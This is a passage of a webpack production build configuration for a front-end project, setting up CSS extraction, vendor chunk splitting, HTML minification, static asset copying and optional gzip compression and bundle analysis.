const MiniCssExtractPlugin = require('mini-css-extract-plugin')

const webpackConfig = merge(baseWebpackConfig, {
  mode: 'production',
  module: {
    rules: utils.styleLoaders({
      sourceMap: config.build.productionSourceMap,
      extract: true,
      usePostCSS: true
    })
  },
  devtool: config.build.productionSourceMap ? config.build.devtool : false,
  output: {
    path: config.build.assetsRoot,
    filename: utils.assetsPath('js/[name].[chunkhash].js'),
    chunkFilename: utils.assetsPath('js/[name].[chunkhash].js')
  },
  optimization: {
    noEmitOnErrors: true,
    splitChunks: {
      cacheGroups: {
        vendor: {
          test: /[\\/]node_modules[\\/]/,
          name: 'vendor',
          chunks: 'all'
        },
        'async-vendors': {
          test: /[\\/]node_modules[\\/]/,
          minChunks: 2,
          chunks: 'async',
          name: 'async-vendors'
        }
      }
    },
    runtimeChunk: {
      name: 'manifest'
    }
  },
  plugins: [
    new MiniCssExtractPlugin({
      filename: utils.assetsPath('css/[name].[contenthash].css'),
      chunkFilename: utils.assetsPath('css/[name].[contenthash].css')
    }),
    // generate dist index.html with correct asset hash for caching.
    // you can customize output by editing /index.html
    // see https://github.com/ampedandwired/html-webpack-plugin
    new HtmlWebpackPlugin({
      filename: config.build.index,
      template: config.build.template,
      inject: true,
      minify: {
        removeComments: true,
        collapseWhitespace: true,
        removeAttributeQuotes: true
        // more options:
        // https://github.com/kangax/html-minifier#options-quick-reference
      },
      // necessary to consistently work with multiple chunks via CommonsChunkPlugin
      chunksSortMode: 'dependency'
    }),
    // keep module.id stable when vendor modules does not change
    new webpack.HashedModuleIdsPlugin(),
    // copy custom static assets
    new CopyWebpackPlugin([
      {
        from: path.resolve(__dirname, '../static'),
        to: config.build.assetsSubDirectory,
        ignore: ['.*']
      }
    ])
  ]
})

if (config.build.productionGzip) {
  const CompressionWebpackPlugin = require('compression-webpack-plugin')

  webpackConfig.plugins.push(
    new CompressionWebpackPlugin({
      asset: '[path].gz[query]',
      algorithm: 'gzip',
      test: new RegExp(
        '\\.(' +
        config.build.productionGzipExtensions.join('|') +
        ')$'
      ),
      threshold: 10240,
      minRatio: 0.8
    })
  )
}

if (config.build.bundleAnalyzerReport) {
  const BundleAnalyzerPlugin = require('webpack-bundle-analyzer').BundleAnalyzerPlugin
  webpackConfig.plugins.push(new BundleAnalyzerPlugin())
}

module.exports = webpackConfig